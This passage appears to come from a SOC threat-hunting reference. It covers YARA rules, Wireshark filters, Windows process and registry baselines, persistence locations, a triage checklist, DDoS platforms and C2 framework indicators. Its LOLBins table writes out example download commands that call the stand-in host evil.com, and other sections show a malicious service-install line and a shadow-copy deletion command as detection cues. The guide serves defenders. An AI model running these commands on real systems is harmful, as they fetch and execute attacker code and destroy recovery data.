    - SCCM / Endpoint management tools
level: high
fields:
    - Image
    - CommandLine
    - User
    - ParentImage
04.04YARA Rules

YARA is the standard for malware classification — write rules that match on file content, binary patterns, or metadata. Used by threat intel teams, AV engines, EDR tools, and incident responders to hunt for malware families across endpoints and network captures. Use this when writing custom detection rules or analysing threat intel rule sets.

rule Ransomware_WannaCry_Generic {
    meta:
        description  = "Detects WannaCry ransomware variants"
        author       = "ThreatHunter"
        severity     = "critical"
        tlp          = "WHITE"
        mitre_attack = "T1486"

    strings:
        $ransom_note  = "Wana Decrypt0r" nocase wide ascii
        $killswitch   = "www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" nocase
        $svc_name     = "mssecsvc2.0" wide ascii
        $hex_eternalblue = { 45 52 52 4F 52 3A 20 43 61 6E }

    condition:
        uint16(0) == 0x5A4D and       // MZ header (PE file)
        filesize < 10MB and
        (2 of ($ransom_note, $killswitch, $svc_name) or $hex_eternalblue)
}
rule Suspicious_PowerShell_Encoded {
    meta:
        description = "Detects PE files dropping base64-encoded PowerShell commands"
        severity    = "high"

    strings:
        $enc1 = "-EncodedCommand" nocase wide ascii
        $enc2 = "-Enc " nocase wide ascii
        $enc3 = "FromBase64String" nocase wide ascii
        $ps   = "powershell" nocase wide ascii

    condition:
        uint16(0) == 0x5A4D and
        $ps and any of ($enc1, $enc2, $enc3)
}
04.05Wireshark Filters

Wireshark display filters allow you to isolate specific traffic patterns in packet captures. Use this section during network forensics to quickly surface C2 communication, credential interception, lateral movement, or exfiltration. Pair with the protocol reference to understand what normal traffic should look like before identifying anomalies.

## BASIC FILTERS
ip.addr == 192.168.1.100              # Traffic to/from specific IP
ip.src == 10.0.0.5                    # From source IP
ip.dst == 8.8.8.8                     # To destination IP
tcp.port == 443                       # TCP port 443
udp.port == 53                        # UDP port 53 (DNS)
not arp and not icmp                  # Exclude noise

## HTTP / WEB
http.request.method == "POST"         # POST requests only
http.response.code == 200             # Successful responses
http.user_agent contains "curl"       # Suspicious User-Agents
http contains "password"              # Credential exposure (cleartext HTTP)

## DNS THREAT HUNTING
dns.qry.name contains ".onion"        # Tor DNS queries (unusual)
dns.qry.type == 16                    # TXT record queries (tunneling indicator)
dns.flags.rcode == 3                  # NXDOMAIN responses (DGA hunting)
dns.qry.name.len > 50                 # Long subdomain = tunneling indicator

## SMB / LATERAL MOVEMENT
smb2.cmd == 5                         # SMB2 Create (file open/create)
smb.cmd == 0x72                       # SMB Negotiate Protocol
tcp.port == 445 and tcp.flags.syn==1  # New SMB connections

## SUSPICIOUS BEACONING
frame.time_delta < 0.001              # Too-fast retransmit (exploit traffic)
tcp.analysis.retransmission           # Retransmitted packets
ip.dst == [C2 IP] and tcp.len > 0    # Data to known C2

## CREDENTIAL / AUTH
ntlmssp.auth.username                 # NTLM usernames in traffic
kerberos.CNameString                  # Kerberos principal names
ftp.request.command == "PASS"         # FTP passwords (cleartext!)

## TLS INSPECTION
tls.handshake.type == 1               # TLS Client Hello
tls.handshake.extensions_server_name # SNI (Server Name Indication)
tls.record.version == 0x0300          # SSLv3 (deprecated — alert!)
04.06Default Windows Processes & Parent-Child Tree

Understanding legitimate parent-child relationships is the #1 skill for process anomaly detection. Any deviation from this tree — wrong parent, wrong path, or wrong SID — is a red flag requiring investigation.

🚨Red flags: Wrong parent process · Wrong image path (not in System32) · Misspelled name (svchost vs svch0st) · Wrong SID/account · Unusual start time · Packed/unsigned binary · Unexpected network connections · No command-line -k flag for svchost
Normal Process Exits after task * = Multiple instances possible System %SystemRoot%\System32\ SID: S-1-5-18 Registry %SystemRoot%\System32\ SID: S-1-5-18 smss.exe %SystemRoot%\System32\ SID: S-1-5-18 Memory Compression %SystemRoot%\System32\ SID: S-1-5-18 smss.exe (exits) Session 0 (OS) %SystemRoot%\System32\ SID: S-1-5-18 smss.exe (exits) Session 1 (User) %SystemRoot%\System32\ SID: S-1-5-18 csrss.exe * %SystemRoot%\System32\ SID: S-1-5-18 wininit.exe %SystemRoot%\System32\ SID: S-1-5-18 csrss.exe * %SystemRoot%\System32\ SID: S-1-5-18 winlogon.exe * %SystemRoot%\System32\ SID: S-1-5-18 lsass.exe %SystemRoot%\System32\ SID: S-1-5-18 services.exe %SystemRoot%\System32\ SID: S-1-5-18 lsaiso.exe Credential Guard only SID: S-1-5-18 userinit.exe (exits) %SystemRoot%\System32\ SID: Logged on users dwm.exe %SystemRoot%\System32\ SID: S-1-5-90-0-x svchost.exe * %SystemRoot%\System32\ SID: S-1-5-18/19/20, users explorer.exe %SystemRoot%\ SID: Logged on users RuntimeBroker.exe * %SystemRoot%\System32\ · SID: Logged on users taskhostw.exe * %SystemRoot%\System32\ · SID: Varies, Logged on users
Process Anomaly Reference Table
ProcessExpected ParentExpected PathExpected SIDInstancesRed Flags
smss.exeSystem (4)%SystemRoot%\System32S-1-5-181 (children exit)Any parent other than System PID 4
csrss.exesmss.exe (exits)%SystemRoot%\System32S-1-5-18≥2 (one per session)Wrong parent; user-writable path
wininit.exesmss.exe (exits)%SystemRoot%\System32S-1-5-181More than 1 instance
winlogon.exesmss.exe (exits)%SystemRoot%\System32S-1-5-181 per user sessionOutbound network connections
lsass.exewininit.exe%SystemRoot%\System32S-1-5-181More than 1 instance; network activity; misspellings (lsasss, lsaas)
services.exewininit.exe%SystemRoot%\System32S-1-5-181More than 1 instance; child processes (except svchost)
svchost.exeservices.exe%SystemRoot%\System32S-1-5-18/19/20ManyParent ≠ services.exe; no -k flag; any other path
explorer.exeuserinit.exe (exits)%SystemRoot%Logged-on user1 per userNetwork connections; spawning cmd/powershell directly
dwm.exewinlogon.exe%SystemRoot%\System32S-1-5-90-0-x1 per sessionWrong SID (should NOT be S-1-5-18)
taskhostw.exesvchost.exe%SystemRoot%\System32VariesMultipleWrong path; spawning network connections
RuntimeBroker.exesvchost.exe%SystemRoot%\System32Logged-on userMultipleRunning as SYSTEM; spawning children
04.07Svchost.exe Deep Dive

svchost.exe is the most impersonated process in Windows malware. Each instance should host known services with a documented parent of services.exe. Deviations — wrong parent, wrong path, no services, or network connections — are high-fidelity indicators of process injection or masquerading. Use this to investigate suspicious svchost behaviour in EDR telemetry.

🚨Any svchost.exe NOT in C:\Windows\System32\ is almost certainly malware. Parent must always be services.exe. Legitimate svchost always uses the -k flag.
svchost.exe -k UnistackSvcGroup               :: Load all services in group
svchost.exe -k UnistackSvcGroup -s WpnUserService :: Load single service from group
:: Registry: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
IndicatorLegitimateSuspicious / Malicious
File pathC:\Windows\System32\svchost.exeAny other path (temp, appdata, downloads)
Parent processservices.exe (PID 4 for System)cmd.exe, explorer.exe, powershell.exe, wscript.exe
Command lineIncludes -k flag with valid registry groupNo -k flag, random arguments, or base64 encoded args
Network connectionsSome expected (WSUS, Windows Update, DNS)Connections to external IPs on unusual ports; beaconing
Digital signatureSigned by Microsoft WindowsUnsigned, self-signed, or signed by unknown publisher
SIDS-1-5-18 (SYSTEM), S-1-5-19 (LocalService), S-1-5-20 (NetworkService)Running as a regular user account SID
04.08Windows Registry — Key Locations for Threat Hunting

The Windows Registry contains the most commonly abused persistence and configuration locations. Attackers write to Run keys, install services, and modify security providers to survive reboots. Use this section when hunting for persistence mechanisms — these are the first registry paths to check after detecting a suspicious process or binary.

Registry KeyPurposeThreat Relevance
Persistence / Autorun
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunPrograms run at startup for all usersPrimary persistence location for malware
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunPrograms run at startup for current userUser-writable — common for user-level persistence
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceOne-time startup entries (deleted after run)Used by installers and malware droppers
HKLM\SYSTEM\CurrentControlSet\ServicesWindows services configurationMalicious service installation (Event 7045)
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonUserinit, Shell values for logon processShell hijack: malware replaces explorer.exe here
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution OptionsDebugger attachment for executablesDebugger hijack (accessibility feature backdoor)
Lateral Movement / Credential
HKLM\SYSTEM\CurrentControlSet\Control\LsaLSA security configurationWDigest auth setting (plain-text cred caching). Check UseLogonCredential.
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigestWDigest authentication providerIf UseLogonCredential=1, plaintext passwords cached in LSASS
HKLM\SAM\SAM\Domains\Account\UsersLocal user account database (SAM)NT hashes stored here; requires SYSTEM access to read
Network / C2 Indicators
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvchostService host group definitionsMalware may add new groups here for persistence via svchost
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet SettingsProxy settings per userMalware may set proxy here to redirect traffic through attacker C2
04.09Windows Privileges

Windows privileges control what actions processes and users can perform beyond standard file/object access. Several privileges are directly exploitable for privilege escalation or credential access. Use this section to understand why SeDebugPrivilege is so dangerous, what an attacker can do with each privilege, and how to audit privilege assignments.

Privilege ConstantDisplay NameAttack Potential
SeDebugPrivilegeDebug programsCRITICAL — dump LSASS memory for credentials; inject into any process
SeImpersonatePrivilegeImpersonate client after authenticationCRITICAL — Potato attacks (JuicyPotato, RoguePotato, PrintSpoofer)
SeAssignPrimaryTokenPrivilegeReplace a process level tokenHIGH — create processes with different tokens; priv esc
SeCreateTokenPrivilegeCreate a token objectHIGH — forge arbitrary access tokens
SeTakeOwnershipPrivilegeTake ownership of files/objectsHIGH — take control of any securable object
SeLoadDriverPrivilegeLoad and unload device driversHIGH — load malicious kernel drivers (BYOVD attacks)
SeBackupPrivilegeBack up files and directoriesHIGH — bypass file ACLs; read any file including SAM database
SeRestorePrivilegeRestore files and directoriesHIGH — write to any path; plant malware or replace binaries
SeTrustedCredManAccessPrivilegeAccess Credential Manager as trusted callerHIGH — access all stored credentials in Credential Manager
SeTcbPrivilegeAct as part of the OSHIGH — bypass normal access controls; extensive system control
SeShutdownPrivilegeShut down the systemMEDIUM — force reboots; DoS; interrupt forensic acquisition
SeNetworkLogonRightAccess this computer from networkMEDIUM — controls remote network authentication
SeRemoteInteractiveLogonRightAllow logon through Remote DesktopMEDIUM — controls RDP access
04.10Ransomware File Extensions

File extensions appended by ransomware. Alert on file rename events matching these patterns — especially mass renames of common file types.

ExtensionRansomware FamilyNotes
.wcry / .wncryWannaCry2017 global outbreak; EternalBlue (SMBv1); ~200K victims
.crab / .KRABGandCrab v1/v4+RaaS; retired 2019 but successors persist
.dharma / .cezarDharma (CrySiS variant)Still active; primarily via RDP brute-force
.onionDharma (variant)Uses .onion extension — not to be confused with Tor domains
.locky / .zepto / .thor / .aesir / .osirisLocky variantsDelivered via malicious Office macros (2016–2017)
.cerber / .cerber2 / .cerber3CerberRaaS; audio ransom note
.micro / .xxx / .ttt / .vvv / .aaaTeslaCrypt 3.0+Decryptor released by authors in 2016
.cryptolockerCryptoLockerOriginal 2013 ransomware; disrupted by Operation Tovar
.sporaSporaOffline encryption (no C2 required); HTML ransom note
.wallet / .purge / .globeGlobe / GlobeImposterMultiple variants; still active
.sageSage 2.0Uses UAC bypass; deletes shadow copies
.ryukRyukTargeted enterprises; often follows TrickBot/BazarLoader
.lockbit / .abcdLockBitMost prolific RaaS 2022–2024; LockBit 3.0 = ALPHV-based
.hiveHiveDisrupted by FBI in Jan 2023; decryptor released
.pubgPUBG RansomwareProof-of-concept / prank; decrypted by playing the game
⚠️Modern ransomware families (LockBit, BlackCat/ALPHV, Cl0p) use random or victim-specific extensions — don't rely on extension detection alone. Also monitor for: VSS deletion, shadow copy removal, bulk file renames, and vssadmin delete shadows /all.
04.11Common Persistence Locations

Attackers establish persistence to survive reboots and re-entry after credential changes. These are the most commonly abused locations — baseline them and alert on changes.

Location / MethodPath / CommandEvent ID
Registry Autorun
Run (All Users)HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run4657
Run (Current User)HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run4657
RunOnceHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce4657
Shell ReplaceHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell4657
Userinit ReplaceHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit4657
Scheduled Tasks
Task Scheduler%SystemRoot%\System32\Tasks\ or schtasks /create4698, 4702
Services
Windows Servicesc create malsvc binPath= "C:\evil.exe"7045, 4697
Startup Folders
All Users Startup%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartupFile system
Current User Startup%APPDATA%\Microsoft\Windows\Start Menu\Programs\StartupFile system
DLL Hijacking / Sideloading
DLL Search Order HijackDrop malicious DLL in app directory that loads it before System32Sysmon Event 7 (ImageLoad)
AppInit DLLsHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs4657
WMI Persistence
WMI Event SubscriptionEventFilter + EventConsumer + FilterToConsumerBinding5857, 5858, 5859, 5860
Office / Application
Office Macros (Startup)%APPDATA%\Microsoft\Word\STARTUP\File system
Browser ExtensionsMalicious extensions in browser profile directoryFile system monitoring
04.12LOLBins (Living-off-the-Land Binaries)

Legitimate Windows binaries abused by attackers to execute code, download files, bypass defenses, or establish persistence — without dropping new executables. Reference: lolbas-project.github.io

BinaryAbuse TechniqueExample Command / Detection
certutil.exeDownload files, decode Base64, install certscertutil -urlcache -split -f http://evil.com/p.exe p.exe — alert on -urlcache flag
powershell.exeDownload & execute, obfuscation, bypass AMSIMonitor -Enc (EncodedCommand), -nop, -w hidden, IEX, Invoke-Expression
mshta.exeExecute HTA scripts — HTML Application hostAlert on mshta.exe with remote URL argument; child process of Office apps
wscript.exe / cscript.exeExecute VBScript / JScriptAlert on execution of .vbs/.js from Temp/AppData; child of Office, browser
regsvr32.exeExecute code via .sct files (Squiblydoo bypass)regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
rundll32.exeExecute DLLs and COM objectsAlert on unusual DLL arguments; execution from Temp or user-writable paths
wmic.exeProcess creation, lateral movement, persistence, reconMonitor for WMIC process call create, wmic /node: (remote execution)
bitsadmin.exeDownload files via BITS (Background Intelligent Transfer)bitsadmin /transfer job http://evil.com/file.exe C:\temp\file.exe
msiexec.exeExecute remote MSI packagesAlert on msiexec /i http:// or execution of MSI from Temp
forfiles.exeExecute commands against file sets — used to evade detectionMonitor forfiles spawning cmd.exe or powershell.exe
PsExec.exe (Sysinternals)Remote process execution — primary lateral movement toolEvent 7045 (service install), ADMIN$ share access, Event 4624 Type 3
net.exe / net1.exeRecon — enumerate users, groups, shares, sessionsMonitor: net user, net group, net localgroup, net share, net session
vssadmin.exeDelete shadow copies — ransomware anti-recoveryALERT: vssadmin delete shadows /all — near-certain ransomware indicator
nltest.exeDomain recon — enumerate DCs, trust relationshipsMonitor: nltest /dclist, nltest /domain_trusts — common post-compromise recon
whoami.exeAccount recon — determine current privilegesLegitimate use exists, but chain with other recon commands = suspicious
Section 05
Threat Operations
05.01CSOC Triage Checklist

Structured triage steps for investigating a suspicious endpoint alert. Work through each phase before concluding scope and severity.

Phase 1 — Initial Assessment
#ActionTool / Command
1Identify alert source, rule name, and triggering dataSIEM alert detail
2Determine host criticality (server/workstation/DC)CMDB / asset inventory
3Check if host is currently online and reachableping, EDR status
4Review recent logon events on the hostEvent 4624, 4625, 4648
5Review user's recent activity on other systemsSIEM search by username
6Check user's normal working hours vs alert timeHR baseline / SIEM
Phase 2 — Host Triage
#ActionTool / Command
1List all running processes with parent relationshipstasklist /svc, EDR, ProcMon
2Check for suspicious process parent-child chainsCompare against process tree diagram (§03.01)
3Review all active network connections with PIDsnetstat -ano, EDR netconn
4Correlate PIDs to processes — identify unusual outboundwmic process where ProcessId=[PID] get commandline
5Check recently created/modified files (last 24h)EDR file events, forfiles /D -1
6Check autorun locations for new entriesAutoruns (Sysinternals), registry check (§03.07)
7Review recently installed services and scheduled tasksEvent 7045, 4698; schtasks /query
8Check PowerShell script block logs for encoded commandsEvent 4104, PowerShell Operational log
Phase 3 — Scope & Containment Decision
#QuestionIf Yes →
1Is there evidence of active C2 communication?Isolate host immediately; do not shutdown (preserve memory)
2Is there evidence of credential dumping (LSASS access)?Assume all credentials on host are compromised; reset all accounts
3Is there evidence of lateral movement from this host?Expand investigation to all destination hosts
4Is there evidence of data exfiltration?Escalate to critical; notify management; check DLP/proxy logs
5Is there evidence of persistence mechanisms?Full incident response — cannot simply reboot to resolve
6Are multiple hosts affected?Declare incident; activate IR plan; consider domain-wide password reset
05.02Security Technology Overview

Understanding what each security tool does — and where it sits in the stack — is critical for knowing what data is available during an investigation, and for identifying gaps in your detection coverage. This section maps tools to their function, typical data outputs, and detection blind spots.

Core Security Technology Map
TechnologyPrimary FunctionKey Data / LogsBlind Spots
SIEM
Security Information & Event Management
Centralised log collection, correlation, and alerting. Aggregates events from across the environment to identify attack patterns.All forwarded events: Windows Event Logs, syslog, firewall, proxy, DNS, application logsOnly sees what is forwarded to it. No forwarding = no visibility. Requires tuning to reduce false positives.
EDR
Endpoint Detection & Response
Deep endpoint telemetry — process creation, file writes, network connections, registry changes, memory events. Enables live response and forensic collection.Process tree, file hashes, network connections per process, DLL loads, memory anomalies, PowerShell commandsKernel-level rootkits can blind some EDR agents. Fileless attacks in memory may evade some products. Coverage gaps on unmanaged devices.
WAF
Web Application Firewall
Inspects HTTP/S traffic at L7 for OWASP attack patterns (SQLi, XSS, RCE). Blocks malicious requests before they reach the application.Request URI, headers, body, source IP, rule triggered, action taken, response codeEncrypted traffic not inspectable without SSL termination. Custom/novel payloads may bypass signature rules. API traffic may not be fully covered.
NDR / IDS/IPS
Network Detection & Response / Intrusion Detection System
Monitors network traffic patterns for anomalies, known attack signatures, and suspicious behaviour. IPS can block in-line; IDS is passive.Flow records, packet captures, protocol anomalies, lateral movement patterns, DNS queries, TLS fingerprintsEncrypted traffic content not visible. High-speed links may require sampling. East-west (lateral) traffic often under-monitored.
SOAR
Security Orchestration, Automation & Response
Automates repetitive analyst tasks: enrichment, triage, notification, and response playbooks. Reduces mean time to respond (MTTR).Orchestrates data FROM other tools (SIEM alerts, threat intel, EDR queries) rather than generating its ownOnly as good as the playbooks written. Can auto-remediate incorrectly on false positives if poorly configured.
Threat Intel Platform
TIP / CTI
Aggregates, normalises, and distributes indicators of compromise (IOCs) and threat intelligence. Contextualises alerts with actor attribution and campaign data.IP/domain/hash reputation, MITRE ATT&CK mappings, actor profiles, STIX/TAXII feedsLagging indicator — only covers known threats. High-volume feeds generate noise. Context quality varies significantly by source.
DLP
Data Loss Prevention
Monitors and controls data movement to prevent sensitive information leaving the organisation. Inspects content for PII, financial data, intellectual property.File transfers, email attachments, clipboard content, print jobs, USB activityEncrypted channels (HTTPS) bypass inspection without SSL interception. Determined insiders can fragment or encode data.
PAM
Privileged Access Management
Manages and monitors privileged account usage. Vaults credentials, enforces MFA for privileged sessions, records admin activity, provides just-in-time access.Privileged session recordings, check-in/check-out logs, command-level audit trails for privileged usersShared accounts that bypass PAM are a common gap. Misconfigured PAM can be bypassed. Requires discipline to enforce adoption.
Security Controls by OSI Layer
OSI LayerControls That ApplyAttacks at This Layer
L7 ApplicationWAF, application firewall, CASB, API gateway, DLP, email gateway, DMARCSQLi, XSS, CSRF, RCE, phishing, credential stuffing, C2 beaconing
L6 PresentationSSL/TLS inspection, certificate validation, HSTS enforcementSSL stripping, POODLE, BEAST, expired cert exploitation
L5 SessionSession timeout policies, secure cookie attributes, token rotationSession hijacking, pass-the-hash, pass-the-ticket
L4 TransportStateful firewall, TCP proxy, rate limiting, SYN cookiesSYN flood, port scanning, connection exhaustion, Slowloris
L3 NetworkRouter ACLs, IPS, IPAM, BCP38 filtering, BGP securityIP spoofing, ICMP flood, amplification attacks, route hijacking
L2 Data Link802.1X NAC, dynamic ARP inspection, port security, VLAN controlsARP spoofing, MAC flooding, VLAN hopping
L1 PhysicalPhysical access controls, cable management, port disablementWiretapping, physical tampering, rogue device insertion
💡 Coverage mapping: Map your existing tools against this table to identify detection gaps. A common finding: excellent L7 coverage (WAF, email gateway) but poor L4/L3 visibility and minimal east-west NDR between internal segments — leaving lateral movement nearly invisible.
05.03DDoS & Bot Protection

DDoS (Distributed Denial of Service) attacks flood systems to deny legitimate access. This section covers L3/L4 volumetric attacks, L7 application-layer attacks, and the platforms used to detect and absorb them. Use this to understand the distinction between network-level and application-level protection, and to identify the right mitigation layer during an incident.

Attack TypeLayerDescriptionMitigation
SYN FloodL3/L4Half-open TCP connections exhaust server state tablesSYN cookies, rate limiting, DDoS scrubbing
UDP FloodL3/L4Spoofed UDP packets to random ports consume bandwidthIngress filtering, rate limiting
ICMP FloodL3/L4Ping flood overwhelms target with ICMP Echo RequestsBlock/rate-limit ICMP at perimeter
DNS AmplificationL3/L4Spoofed DNS queries with large responses (amplification factor ~50x)Response Rate Limiting (RRL), BCP38
NTP AmplificationL3/L4Monlist command returns up to 600 peers (amplification ~556x)Disable monlist, upgrade NTP
HTTP FloodL7Massive legitimate-looking GET/POST requestsWAF rate limiting, CAPTCHA
SlowlorisL7Holds many partial HTTP connections open indefinitelyConnection timeouts, reverse proxy
Credential StuffingL7Automated testing of breached username/password combosMFA, CAPTCHA, IP reputation, account lockout
Layered Protection Matrix
ProtectionLayerNetwork DDoSApp DDoSBotsMethod
DDoS ScrubbingL3/L4Traffic scrubbing, BGP blackhole
WAFL7PartialRule-based HTTP filtering
Bot ManagementL7PartialBehavioral analysis, fingerprinting, JS challenges
CDN + AnycastL3–L7PartialAbsorb/distribute traffic globally
05.04DDoS, Edge & Load Balancing Platforms

Production web applications sit behind multiple layers of edge infrastructure. Each layer has a distinct role, a distinct threat surface, and distinct metrics a CSOC analyst should watch. Understanding this stack prevents misclassifying normal failover behaviour as attacks — and vice versa.

Traffic Flow — Request Lifecycle
👤 User Browser / Client HTTPS 🌐 CDN Akamai Edge HTTPS 🛡️ WAF Akamai Kona HTTPS 🤖 Bot Defense Shape (F5) DNS 🗺️ GTM F5 BIG-IP DNS TCP ⚖️ LTM F5 BIG-IP LTM HTTP/S ⚙️ Application Origin Server DDoS attack traffic diverted to Prolexic scrubbing centres — cleaned before reaching edge / origin 🧹 Prolexic Scrubbing Akamai (CDN / WAF) Shape Bot Defense (F5) F5 (GTM / LTM) Prolexic — bypass path (L3/L4 DDoS only) Application / Origin
ℹ️ Shape Bot Defense is an F5 product (acquired 2020) — it is not part of Akamai's platform. Prolexic is Akamai's dedicated L3/L4 DDoS scrubbing network — volumetric attacks are diverted upstream to scrubbing centres and cleaned before reaching the CDN or origin, bypassing the normal request path entirely.
Platform Reference — Cards
🧹 Akamai Prolexic
DDoS Scrubbing Service
L3 / L4
Dedicated volumetric DDoS scrubbing. Attack traffic is rerouted via BGP to globally distributed scrubbing centres; clean traffic is tunnelled back to origin. Protects against SYN/UDP/ICMP floods, DNS/NTP amplification.
  • Attack traffic volume (Gbps / Mpps)
  • Scrubbing centre utilisation %
  • Clean traffic forwarded to origin
  • Time-to-mitigate (TTM)
  • Sudden multi-Gbps spike from many spoofed IPs
  • NTP/DNS amplification — large responses to forged sources
  • SYN flood exhausting upstream link capacity
  • Clean traffic ratio drops — scrubbing overwhelmed
🌐 Akamai CDN
Intelligent Edge Platform
L3 – L7
Caches static and dynamic content at 4,000+ edge PoPs globally. Reduces origin load, improves latency, and provides inherent traffic absorption against volumetric attacks via distribution.
  • Cache hit ratio (low = high origin pressure)
  • Edge vs origin traffic split & offload %
  • MISS rate spikes
  • Traffic spikes absorbed vs forwarded
  • Cache MISS spike — unique query strings bypassing cache
  • High origin traffic from few edge nodes (scraper/cache buster)
  • Sudden offload % drop — cache invalidation attack
  • Requests Cache-Control: no-cache headers
🛡️ Akamai WAF
Kona Site Defender
L7
Inspects HTTP/S requests at edge before they reach origin. Blocks SQLi, XSS, RCE, LFI, SSRF using Kona Rule Sets (KRS) combined with adaptive security and threat intelligence.
  • Deny/alert count & deny rate trend
  • Top triggered rule IDs & rule categories
  • Top source IPs & ASNs
  • Top targeted URLs & parameters
  • Unusual / empty User-Agent strings
  • Same rule from 100s of IPs — distributed scan
  • Rapid cycling: SQLi → XSS → RCE rule categories
  • WAF in alert-only mode on production
  • 200 OK after rule trigger — possible bypass
🤖 Shape Bot Defense
F5 (acquired 2020) — not Akamai
L7
ML-based bot detection using device telemetry, JS challenges, and behavioural fingerprinting. Detects credential stuffing, carding, scraping, and ATO. Does NOT rely solely on IP reputation.
  • Bot score distribution — shift toward high bot scores
  • Auth fail rate on login endpoints
  • JS execution rate (non-executing = headless bot)
  • Device fingerprint variance
  • Credential stuffing: high volume, low latency, many usernames tested
  • Carding: rapid checkout, small test amounts first
  • Scraping: sequential traversal, no JS execution
  • ATO: successful login from new geo/device post-stuffing
🗺️ F5 GTM
BIG-IP DNS / Global Traffic Manager
DNS
DNS-based global load balancing. Routes clients to the best datacenter based on health checks, latency, and load. Responds to DNS queries with the optimal pool member IP. Critical during DR failover.
  • Pool member health & DC availability
  • Traffic distribution across datacenters
  • DNS resolution latency
  • Health check pass/fail rate & TTL values
  • All traffic on one DC — validate with infra (may be failover)
  • SERVFAIL spike — DNS flood or misconfiguration
  • Unexpected failover with no known outage
  • Low TTL + rapid IP changes (fast-flux pattern)
⚖️ F5 LTM
BIG-IP Local Traffic Manager
L4 – L7
Load balances within a datacenter. Provides SSL/TLS offloading, TCP optimization, connection multiplexing, session persistence, and health monitoring for backend pool members.
  • Pool member availability & response time
  • Connection count per pool member
  • SSL handshake error rate
  • VIP connection rate & persistence table size
  • Connection table exhaustion — SYN flood against VIP
  • One member at 100% while others are idle
  • SSL handshake error spike (cert expiry or mismatch)
  • HTTP profile errors on HTTP/S VIP (L7 attack)
CSOC Response — Threat to Platform Mapping
Threat ScenarioPrimary PlatformKey MetricResponse Action
L3/L4 Volumetric DDoSAkamai ProlexicPPS/BPS, scrubbing utilisationEngage Prolexic scrubbing; divert traffic; verify clean forwarding; monitor LTM connection table
L7 HTTP FloodWAF + CDNRequest rate, cache MISS rateApply rate limiting on targeted URI; block source IPs; verify edge absorbing load
SQLi / XSS / RCE AttemptWAF (Kona)Rule trigger count, 2xx after blockValidate payload; escalate rule ALERT → DENY; block source IP/CIDR in network list
Credential Stuffing / ATOShape Bot DefenseBot score, auth fail rateEnforce MFA; rate-limit per IP/device on login; notify affected users
Cache Bypass AttackCDN (Akamai)Cache MISS rate, origin trafficReview cache key config; strip unique query params via request normalization
DC Failover (GTM shift)F5 GTM / GSLBHealth check status, DC distributionValidate with infra/NOC — likely legitimate; monitor DR site capacity
Pool Member DownF5 LTMPool health, response timeAlert infra team; verify load on remaining members; review app logs on failed member
⚠️ DC Failover ≠ Attack. A sudden GTM traffic shift to a secondary datacenter is often a legitimate infrastructure event. Always validate with the NOC / infra team before treating it as a security incident. Distinguish traffic redirected by design from traffic directed by an attacker.
05.05C2 & Exploit Frameworks

Command & Control frameworks manage compromised hosts post-exploitation. These are legitimate red team tools — but cracked and leaked versions are heavily used by ransomware groups and APTs. Knowing their default signatures, IOCs, and evasion techniques is critical for detection engineering. Note: "Sliver" (BishopFox) is a separate framework — not a component of Cobalt Strike.

⚠️ Detecting these frameworks on production systems is a critical finding. Detection does not automatically mean a breach — verify authorization with the red team / pentest team before escalating. Confirm whether a scheduled engagement is in progress.
Generic C2 Architecture
🖥️ Attacker Operator console Teamserver UI HTTPS 🔀 Redirector CDN worker / Domain front HTTPS 📡 C2 Server Listener / Handler CS / Sliver / Havoc Beacon 💻 Victim Host Implant in memory Calls back to C2 🖥️ Server B Lateral movement 🏛️ DC / Database Escalation target ← Pivot via SMB / WMI / RDP
Commercial & Widely Abused Frameworks
Cobalt Strike
Commercial
The most widely abused commercial C2 framework. Originally a legitimate red team tool by Fortra (formerly HelpSystems). Cracked versions proliferate in ransomware and APT operations. Uses "Beacon" implants with malleable C2 profiles to mimic legitimate traffic (e.g., jQuery, Google Analytics).
WindowsLinuxmacOS Beacon implantMalleable C2BOF support
Detection IOCs & Indicators
  • Default beacon check-in intervals: 60s (jitter ±30%)
  • Default staging ports: 50050 (teamserver), 80/443/8080/8443 (listeners)
  • HTTPS certs with invalid/self-signed or default Cobalt Strike OIDs
  • JA3 fingerprint: 72a7c9feebf2d402dd4432ad7d37a441
  • Artifact kit PE files: artifact32.exe · artifact64.exe
  • DNS beacon: high-frequency DNS queries with random subdomains
  • Sysmon Event 7: loading of beacon.dll or unknown reflective DLL
  • Named pipe: \\.\pipe\MSSE-XXXX-server
  • Process injection into common host processes (rundll32, svchost)
  • JARM fingerprint detection via jarm.py
Sliver
Open Source
Modern cross-platform C2 framework by BishopFox. Written in Go — implants compile to native binaries with no runtime dependency. Increasingly seen in threat actor operations as a Cobalt Strike alternative. Supports mTLS, HTTP/S, DNS, and WireGuard C2 channels.
Go implantsmTLSWireGuard C2 Windows/Linux/macOSBOF support
Detection IOCs & Indicators
  • Default TLS cert: Subject CN contains random words (e.g., "phantom-cobra")
  • Default listening port: 31337 (configurable)
  • Implant names follow random adjective-noun pattern by default
  • Go binary indicators: large PE size (5–15MB), Go runtime strings
  • mTLS: mutual certificate authentication with self-signed CA
  • DNS C2: subdomains with hex-encoded data in labels
  • WireGuard tunnelled traffic on UDP (unusual for enterprise)
Havoc
Open Source
Post-exploitation C2 framework by C5pider (released 2022). "Demon" implant supports Windows only currently. Features sleep obfuscation (Ekko/Zephyr), AMSI/ETW patching, indirect syscalls, and process injection. Increasingly seen in red team ops and emerging APT activity.
Demon implantSleep obfuscation Indirect syscallsWindows
Detection IOCs & Indicators
  • Default HTTP User-Agent mimics legitimate software (configurable)
  • Default teamserver port: 40056
  • AMSI/ETW patching: memory write to ntdll.dll regions
